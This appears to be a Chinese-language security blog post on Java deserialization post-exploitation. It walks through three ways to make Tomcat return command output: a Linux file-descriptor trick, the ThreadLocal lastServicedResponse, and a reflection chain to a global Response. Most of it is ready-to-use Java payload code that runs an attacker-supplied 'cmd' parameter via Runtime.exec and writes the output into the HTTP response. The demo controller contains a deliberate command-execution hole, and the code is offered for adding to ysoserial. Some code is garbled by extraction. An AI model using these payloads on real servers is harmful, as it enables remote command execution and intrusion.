01
簡 介
2022年初打算把反序列化漏洞后利用技術給學習下,主要分為回顯技術和內存馬技術兩大模塊。因為之前對回顯技術有所了解,就先把這塊知識給彌補下。
02
搭建環境
采用簡單的Spring-boot可以快速搭建web項目,并且使用Spring內置的輕量級Tomcat服務,雖然該Tomcat閹割了很多功能,但是基本夠用。整個demo放在了Github上,地址為https://github.com/BabyTeam1024/TomcatResponseLearn
- 0x1 創建項目
選擇Spring Initializr
0x2 添加代碼
在項目的package中創建controller文件夾,并編寫TestController類
package com.example.tomcatresponselearn.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMApping;import org.springframework.web.bind.annotation.ResponseBody;
import JAVAx.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;
@Controller@RequestMapping("/app")public class TestController {
@RequestMapping("/test")@ResponseBodypublic String testDemo(String input, HttpServletResponse response) throws IOException {System.out.println(response);org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes;javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest;javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse;
String cmd = httprequest.getHeader("cmd");if(cmd != null && !cmd.isEmpty){String res = new java.util.Scanner(Runtime.getRuntime.exec(cmd).getInputStream).useDelimiter("\A").next;try {httpresponse.getWriter.printf(res);} catch (IOException e) {e.printStackTrace;}}return "Hello World!";}}
正常在編寫Spring-boot代碼的時候是不需要在testDemo函數中添加調用參數的。這里為了方便查看Response對象,因此在該函數上添加了HttpServletResponse。
0x3 添加Maven地址
在ubuntu上搭建環境的時候遇到了依賴包下載失敗的情況。
添加如下倉庫地址即可解決問題
https://repo.maven.Apache.org/maven203
各種回顯技術
0x1 通過文件描述符回顯
1. 簡介
2020年1月00theway師傅在《通殺漏洞利用回顯方法-linux平臺》文章中提出了一種回顯思路
經過一段時間的研究發現了一種新的通殺的回顯思路。在LINUX環境下,可以通過文件描述符”/proc/self/fd/i”獲取到網絡連接,在java中我們可以直接通過文件描述符獲取到一個Stream對象,對當前網絡連接進行讀寫操作,可以釜底抽薪在根源上解決回顯問題。
簡單來講就是利用linux文件描述符實現漏洞回顯。作為眾多回顯思路中的其中一種方法,雖然效果沒有后兩者的通用型強,但筆者打算學習下這種基于linux文件描述符的特殊利用姿勢。
2. 可行性分析
從理論上講如果獲取到了當前請求對應進程的文件描述符,如果輸出描述符中寫入內容,那么就會在回顯中顯示,從原理上是可行的,但在這個過程中主要有一個問題需要解決
如何獲得本次請求的文件描述符
在/proc.NET/tcp6文件中存儲了大量的連接請求
其中local_address是服務端的地址和連接端口,remote_address是遠程機器的地址和端口(客戶端也在此記錄),因此我們可以通過remote_address字段篩選出需要的inode號。這里的inode號會在/proc/xx/fd/中的socket一一對應
有了這個對應關系,我們就可以在/proc/xx/fd/目錄中篩選出對應inode號的socket,從而獲取了文件描述符。整體思路如下
1.通過client ip在/proc/net/tcp6文件中篩選出對應的inode號
2.通過inode號在/proc/$PPID/fd/中篩選出fd號
3.創建FileDeor對象
4.執行命令并向FileDeor對象輸出命令執行結果
3. 代碼編寫
(1)獲得本次請求的文件描述符
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`b=`ls -l /proc/$PPID/fd|grep 7200A8C0|awk '{print $9}'`echo -n $b運行上述命令執行,并將結果存儲在num中
java.io.InputStream in = Runtime.getRuntime.exec(cmd).getInputStream;java.io.InputStreamReader isr = new java.io.InputStreamReader(in);java.io.BufferedReader br = new java.io.BufferedReader(isr);StringBuilder stringBuilder = new StringBuilder;String line;while ((line = br.readLine) != null){stringBuilder.append(line);}
int num = Integer.valueOf(stringBuilder.toString).intValue;
(2)執行命令并通過文件描述符輸出cmd = new String[]{"/bin/sh","-c","ls /"};in = Runtime.getRuntime.exec(cmd).getInputStream;//執行命令isr = new java.io.InputStreamReader(in);br = new java.io.BufferedReader(isr);stringBuilder = new StringBuilder;
while ((line = br.readLine) != null){//讀取命令執行結果stringBuilder.append(line);}
String ret = stringBuilder.toString;java.lang.reflect.Constructor c=java.io.FileDeor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});//獲取構造器c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDeor)c.newInstance(new Object[]{new Integer(num)}));//創建對象os.write(ret.getBytes);//向文件描述符中寫入結果os.close;
4. 代碼整合
在實際使用過程中注意把客戶端IP地址轉換成16進制字節倒序,替換xxxx字符串。
??????String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i xxxx|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};java.io.InputStream in = Runtime.getRuntime.exec(cmd).getInputStream;java.io.InputStreamReader isr = new java.io.InputStreamReader(in);java.io.BufferedReader br = new java.io.BufferedReader(isr);StringBuilder stringBuilder = new StringBuilder;String line;while ((line = br.readLine) != null){stringBuilder.append(line);}int num = Integer.valueOf(stringBuilder.toString).intValue;
cmd = new String[]{"/bin/sh","-c","ls /"};in = Runtime.getRuntime.exec(cmd).getInputStream;isr = new java.io.InputStreamReader(in);br = new java.io.BufferedReader(isr);stringBuilder = new StringBuilder;
while ((line = br.readLine) != null){stringBuilder.append(line);}
String ret = stringBuilder.toString;java.lang.reflect.Constructor c=java.io.FileDeor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDeor)c.newInstance(new Object[]{new Integer(num)}));os.write(ret.getBytes);os.close;
5. 局限性分析
這種方法只適用于linux回顯,并且在取文件描述符的過程中有可能會受到其他連接信息的干擾,一般不建議采取此方法進行回顯操作,因為有下面兩種更好的回顯方式。
- 0x2 通過ThreadLocal Response回顯
1. 簡介
2020年3月kingkk師傅提出一種基于調用棧中獲取Response對象的方法,該方法主要是從ApplicationFilterChAIn中提取相關對象,因此如果對Tomcat中的Filter有部署上的變動的話就不能通過此方法實現命令回顯。
仔細研讀了kingkk師傅的思路,發現整個過程并不是很復雜,但前提是要先學會如何熟練使用Java 反射技術進行對象操作。尋找Response進行回顯的大概思路如下
1.通過翻閱函數調用棧尋找存儲Response的類
2.最好是個靜態變量,這樣不需要獲取對應的實例,畢竟獲取對象還是挺麻煩的
3.使用ThreadLocal保存的變量,在獲取的時候更加方便,不會有什么錯誤
4.修復原有輸出,通過分析源碼找到問題所在
2. 代碼分析
師傅就是按照這個思路慢慢尋找,直到找到了保存在ApplicationFilterChain對象中的靜態變量lastServicedResponse
在internalDoFilter函數中有對該ThreadLocal變量賦值的操作
但是通過分析代碼發現,改變量在初始化運行的時候就已經被設置為null了,這就需要通過反射的方式讓lastServiceResponse進行初始化。
在使用response的getWriter函數時,usingWriter 變量就會被設置為true。如果在一次請求中usingWriter變為了true那么在這次請求之后的結果輸出時就會報錯
報錯內容如下,getWriter已經被調用過一次
那么在代碼設計的時候也要解決這個問題,才能把原有的內容通過http返回包輸出來。
1.通過分析得到其具體實施步驟為
2.使用反射把ApplicationDispathcer.WRAP_SAME_OBJECT變量修改為true
3.使用反射初始化ApplicationDispathcer中的lastServicedResponse變量為ThreadLocal
4.使用反射從lastServicedResponse變量中獲取tomcat Response變量
5.使用反射修復輸出報錯
3. 代碼編寫
(1)ApplicationDispathcer.WRAP_SAME_OBJECT變量修改為true
通過上面的需求,編寫對應的代碼進行實現,需要提前說明的是WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse為static final變量,而且后兩者為私有變量,因此需要modifiersField的處理將FINAL屬性取消掉。
相對應的實現代碼如下
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//獲取WRAP_SAME_OBJECT字段Field modifiersField = Field.class.getDeclaredField("modifiers");//獲取modifiers字段modifiersField.setAccessible(true);//將變量設置為可訪問modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers & ~Modifier.FINAL);//取消FINAL屬性WRAP_SAME_OBJECT_FIELD.setAccessible(true);//將變量設置為可訪問WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);//將變量設置為true(2)初始化ApplicationDispathcer中的lastServicedResponse變量為ThreadLocal。這里需要把lastServicedResponse和lastServiceRequest,因為如果這兩個其中之一的變量為初始化就會在set的地方報錯。
相對應的實現代碼如下
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField( "lastServicedRequest"); //獲取lastServicedRequest變量Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField( "lastServicedResponse"); //獲取lastServicedResponse變量modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers & ~Modifier.FINAL); //取消FINAL屬性modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers & ~Modifier.FINAL); //取消FINAL屬性lastServicedRequestField.setAccessible( true); //將變量設置為可訪問lastServicedResponseField.setAccessible( true); //將變量設置為可訪問lastServicedRequestField. set( null, newThreadLocal<>); //設置ThreadLocal對象lastServicedResponseField. set( null, newThreadLocal<>); //設置ThreadLocal對象這里僅僅實現了如何初始化lastServicedRequest和lastServicedResponse這兩個變量為ThreadLocal。在實際實現過程中需要添加判斷,如果lastServicedRequest存儲的值不是null那么就不要進行初始化操作。
(3)從lastServicedResponse變量中獲取tomcat Response變量
從上面代碼中的lastServicedResponseField直接獲取lastServicedResponse變量,因為這時的lastServicedResponse變量為ThreadLocal變量,可以直接通過get方法獲取其中存儲的變量。
???????ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField. get( null); //獲取lastServicedResponse變量ServletResponse responseFacade = lastServicedResponse. get; //獲取lastServicedResponse中存儲的變量(4)修復輸出報錯
可以在調用getWriter函數之后,通過反射修改usingWriter變量值。
Field responseField = ResponseFacade. class.getDeclaredField( "response"); //獲取response字段responseField.setAccessible( true); //將變量設置為可訪問Response response = (Response) responseField. get(responseFacade); //獲取變量Field usingWriter = Response. class.getDeclaredField( "usingWriter"); //獲取usingWriter字段usingWriter.setAccessible( true); //將變量設置為可訪問usingWriter. set((Object) response, Boolean.FALSE); //設置usingWriter為false果然在添加過這個代碼之后就沒有任何問題了。
4. 代碼整合
搬運kingkk師傅代碼供大家參考
Field WRAP_SAME_OBJECT_FIELD = Class.forName( "org.apache.catalina.core.ApplicationDispatcher").getDeclaredField( "WRAP_SAME_OBJECT"); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField( "lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField( "lastServicedResponse"); Field modifiersField = Field.class.getDeclaredField( "modifiers"); modifiersField.setAccessible( true); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers & ~Modifier.FINAL);WRAP_SAME_OBJECT_FIELD.setAccessible( true); lastServicedRequestField.setAccessible( true); lastServicedResponseField.setAccessible( true);ThreadLocal<ServletResponse> lastServicedResponse =(ThreadLocal<ServletResponse>) lastServicedResponseField.get( null); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get( null); booleanWRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean( null); Stringcmd = lastServicedRequest != null? lastServicedRequest.get.getParameter( "cmd") : null; if(!WRAP_SAME_OBJECT || lastServicedResponse == null|| lastServicedRequest == null) { lastServicedRequestField.set( null, newThreadLocal<>); lastServicedResponseField.set( null, newThreadLocal<>); WRAP_SAME_OBJECT_FIELD.setBoolean( null, true); } elseif(cmd != null) { ServletResponse responseFacade = lastServicedResponse.get;responseFacade.getWriter;java.io.Writer w = responseFacade.getWriter;Field responseField = ResponseFacade.class.getDeclaredField( "response"); responseField.setAccessible( true); Response response = (Response) responseField.get(responseFacade);Field usingWriter = Response.class.getDeclaredField( "usingWriter"); usingWriter.setAccessible( true); usingWriter.set(( Object) response, Boolean.FALSE);
booleanisLinux = true; StringosTyp = System.getProperty( "os.name"); if(osTyp != null&& osTyp.toLowerCase.contains( "win")) { isLinux = false; }String[] cmds = isLinux ? newString[]{ "sh", "-c", cmd} : newString[]{ "cmd.exe", "/c", cmd}; InputStream in= Runtime.getRuntime.exec(cmds).getInputStream; Scanner s = newScanner( in).useDelimiter( "\a"); Stringoutput = s.hasNext ? s.next : ""; w.write(output);w.flush;}
觸發方式如下,在網頁回顯中會把命令執行的結果和之前的內容一并輸出來。
curl'http://127.0.0.1:8080/app/test?cmd=id'5. 局限性分析
通過完整的學習這個回顯方式,可以很明顯的發現這個弊端,如果漏洞在ApplicationFilterChain獲取回顯Response代碼之前,那么就無法獲取到Tomcat Response進行回顯。其中Shiro RememberMe反序列化漏洞就遇到了這種情況,相關代碼如下
org.apache.catalina.core.ApplicationFilterChain核心代碼
if(pos < n) { ApplicationFilterConfig filterConfig = filters[pos++];try{ Filter filter = filterConfig.getFilter;...filter.doFilter(request, response, this); //Shiro漏洞觸發點} catch(...) ...}}try{ if(ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest. set(request); lastServicedResponse. set(response); //Tomcat回顯關鍵點}if(...){ ...} else{ servlet.service(request, response); //servlet調用點}} catch(...) { ...} finally{ ...}這種方法已經能夠滿足大多數情況下的回顯需求。并且從中學習到了很多回顯思想和操作,將它融合在ysoserial中就能實現在tomcat部署的web服務中的反序列化回顯。下面介紹一種不依靠FilterChain的通用型更強的Tomcat回顯技術。
03
通過全局存儲Response回顯
2020年3月長亭Litch1師傅找到的一種基于全局儲存的新思路,尋找在Tomcat處理Filter和Servlet之前有沒有存儲response變量的對象。整個過程分析下來就像是在構造調用鏈,一環扣一環,知道找到了那個靜態變量或者是那個已經創建過的對象。然而師傅通過后者完成了整個利用,下面學習下具體的分析方法。
1. 代碼分析
在調用棧的初始位置存在Http11Processor對象,該類繼承了AbstractProcessor,request和response都在這個抽象類中。
因為不是靜態變量因此要向上溯源,爭取找到存儲Http11Processor或者Http11Processor request、response的變量。繼續翻閱調用棧,在AbstractProtcol內部類ConnectionHandler的register方法中存在著對Http11Processor的操作
具體代碼如下,rp為RequestInfo對象,其中包含了request對象,然而request對象包含了response對象
所以我們一旦拿到RequestInfo對象就可以獲取到對應的response對象
RequestInfo->req->response因為在register代碼中把RequestInfo注冊到了global中
因此如果獲取到了global解決問題,global變量為AbstractProtocol靜態內部類ConnectionHandler的成員變量。因為改變量不是靜態變量,因此我們還是需要找存儲AbstractProtocol類或AbstractProtocol子類。現在的獲取鏈變為了
AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response在調用棧中存在CoyoteAdapter類,其中的connector對象protocolHandler屬性為Http11NioProtocol,Http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler。
connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response如何獲取connector對象就成為了問題所在,Litch1師傅分析出在Tomcat啟動過程中會創建connector對象,并通過addConnector函數存放在connectors中
那么現在的獲取鏈變成了
StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->responseconnectors同樣為非靜態屬性,那么我們就需要獲取在tomcat中已經存在的StandardService對象,而不是新創建的對象。
2. 關鍵步驟
如果能直接獲取StandardService對象,那么所有問題都能夠迎刃而解。Litch1師傅通過分析Tomcat類加載獲取到了想要的答案。
之前我們在《Java安全—JVM類加載》那篇文章中有介紹Tomcat 是如何破壞雙親委派機制的。
首先說明雙親委派機制的缺點是,當加載同個jar包不同版本庫的時候,該機制無法自動選擇需要版本庫的jar包。特別是當Tomcat等web容器承載了多個業務之后,不能有效的加載不同版本庫。為了解決這個問題,Tomcat放棄了雙親委派模型。
當時分析Shiro反序列化的時候,遇到了Tomcat的類加載器重寫了loadClass函數,從而沒有嚴格按照雙親委派機制進行類加載,這樣才能實現加載多個相同類,相當于提供了一套隔離機制,為每個web容器提供一個單獨的WebAppClassLoader加載器。
Tomcat加載機制簡單講,WebAppClassLoader負責加載本身的目錄下的class文件,加載不到時再交給CommonClassLoader加載,這和雙親委派剛好相反。
如果在SpringBoot項目中調試看下Thread.currentThread.getContextClassLoader中的內容
WebappClassLoader里面確實包含了很多很多關于tomcat相關的變量,其中service變量就是要找的StandardService對象。那么至此整個調用鏈就有了入口點
WebappClassLoader->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response因為這個調用鏈中一些變量有get方法因此可以通過get函數很方便的執行調用鏈,對于那些私有保護屬性的變量我們只能采用反射的方式動態的獲取。
3. 代碼編寫
(1)獲取Tomcat CloassLoader context
???????org.apache.catalina.loader.WebappClassLoaderBasewebappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread.getContextClassLoader;StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources.getContext;這之后再獲取standardContext的context就需要使用反射了
(2)獲取standardContext的context
因為context不是final變量,因此可以省去一些反射修改操作
具體代碼如下
???????Field context = Class.forName( "org.apache.catalina.core.StandardContext").getDeclaredField( "context"); context.setAccessible( true); //將變量設置為可訪問org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context. get(standardContext);(3)獲取ApplicationContext的service
???????Field service = Class.forName( "org.apache.catalina.core.ApplicationContext").getDeclaredField( "service"); service.setAccessible( true); //將變量設置為可訪問StandardService standardService = (StandardService)service. get(ApplicationContext);(4)獲取StandardService的connectors
???????Field connectorsField = Class.forName( "org.apache.catalina.core.StandardService").getDeclaredField( "connectors"); connectorsField.setAccessible( true); //將變量設置為可訪問org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[])connectorsField. get(standardService);( 5)獲取AbstractProtocol的handler獲取到connectors之后,可以通過函數發現getProtocolHandler為public,因此我們可以通直接調用該方法的方式獲取到對應的handler。
???????org.apache.coyote. ProtocolHandlerprotocolHandler = connectors[ 0].getProtocolHandler; FieldhandlerField = org.apache.coyote. AbstractProtocol. class.getDeclaredField( "handler"); handlerField.setAccessible( true); org.apache.tomcat.util.net. AbstractEndpoint. Handlerhandler = ( AbstractEndpoint. Handler) handlerField. get(protocolHandler);(6)獲取內部類ConnectionHandler的global
好多師傅們都是通過getDeclaredClasses的方式獲取到AbstractProtocol的內部類。筆者通過org.apache.coyote.AbstractProtocol$ConnectionHandler的命名方式,直接使用反射獲取該內部類對應字段。
???????Field globalField = Class.forName( "org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField( "global"); globalField.setAccessible( true); RequestGroupInfo global= (RequestGroupInfo) globalField. get(handler);(7)獲取RequestGroupInfo的processors
processors為List數組,其中存放的是RequestInfo
???????Field processors = Class.forName( "org.apache.coyote.RequestGroupInfo").getDeclaredField( "processors"); processors.setAccessible( true); java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors. get( global);(8)獲取Response,并做輸出處理
遍歷獲取RequestInfolist中的所有requestInfo,使用反射獲取每個requestInfo中的req變量,從而獲取對應的response。在getWriter后將usingWriter置為false,并調用flush進行輸出。
Field req = Class.forName( "org.apache.coyote.RequestInfo").getDeclaredField( "req"); req.setAccessible( true); for(RequestInfo requestInfo : RequestInfolist) { //遍歷org.apache.coyote.Request request1 = (org.apache.coyote.Request )req. get(requestInfo); //獲取requestorg.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote( 1); //獲取catalina.connector.Request類型的Requestorg.apache.catalina.connector.Response response2 = request2.getResponse;java.io.Writer w = response2.getWriter; //獲取WriterField responseField = ResponseFacade. class.getDeclaredField( "response"); responseField.setAccessible( true); Field usingWriter = Response. class.getDeclaredField( "usingWriter"); usingWriter.setAccessible( true); usingWriter. set(response2, Boolean.FALSE); //初始化w.write( "1111"); w.flush; //刷新}4. 代碼整合
這個流程下來可以大大鍛煉Java反射的使用熟練度。如果按照之前分析的調用鏈一步一步構造,邏輯相對來說還是比較清晰的。完整代碼如下
???????org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread.getContextClassLoader;org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) webappClassLoaderBase.getResources.getContext;Field contextField = Class.forName( "org.apache.catalina.core.StandardContext").getDeclaredField( "context"); contextField.setAccessible( true); org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)contextField. get(standardContext);
Field serviceField = Class.forName( "org.apache.catalina.core.ApplicationContext").getDeclaredField( "service"); serviceField.setAccessible( true); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService)serviceField. get(ApplicationContext);
Field connectorsField = Class.forName( "org.apache.catalina.core.StandardService").getDeclaredField( "connectors"); connectorsField.setAccessible( true); org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[])connectorsField. get(standardService);
org.apache.coyote.ProtocolHandler protocolHandler = connectors[ 0].getProtocolHandler; Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField( "handler"); handlerField.setAccessible( true); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField. get(protocolHandler);
Field globalField = Class.forName( "org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField( "global"); globalField.setAccessible( true); RequestGroupInfo global= (RequestGroupInfo) globalField. get(handler);
Field processors = Class.forName( "org.apache.coyote.RequestGroupInfo").getDeclaredField( "processors"); processors.setAccessible( true); java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors. get( global);
Field req = Class.forName( "org.apache.coyote.RequestInfo").getDeclaredField( "req"); req.setAccessible( true); for(RequestInfo requestInfo : RequestInfolist) { org.apache.coyote.Request request1 = (org.apache.coyote.Request )req. get(requestInfo); org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote( 1); org.apache.catalina.connector.Response response2 = request2.getResponse;java.io.Writer w = response2.getWriter;
String cmd = request2.getParameter( "cmd"); boolean isLinux = true; String osTyp = System.getProperty( "os.name"); if(osTyp != null&& osTyp.toLowerCase.contains( "win")) { isLinux = false; }String[] cmds = isLinux ? newString[]{ "sh", "-c", cmd} : newString[]{ "cmd.exe", "/c", cmd}; InputStream in= Runtime.getRuntime.exec(cmds).getInputStream; Scanner s = newScanner( in).useDelimiter( "\a"); String output = s.hasNext ? s.next : ""; w.write(output);w.flush;
Field responseField = ResponseFacade.class.getDeclaredField( "response"); responseField.setAccessible( true); Field usingWriter = Response.class.getDeclaredField( "usingWriter"); usingWriter.setAccessible( true); usingWriter. set(response2, Boolean.FALSE); }
5. 局限性分析
利用鏈過長,會導致http包超長,可先修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,這樣再次發包的時候就不會有長度限制。還有就是操作復雜可能有性能問題,整體來講該方法不受各種配置的影響,通用型較強。
- 結尾 -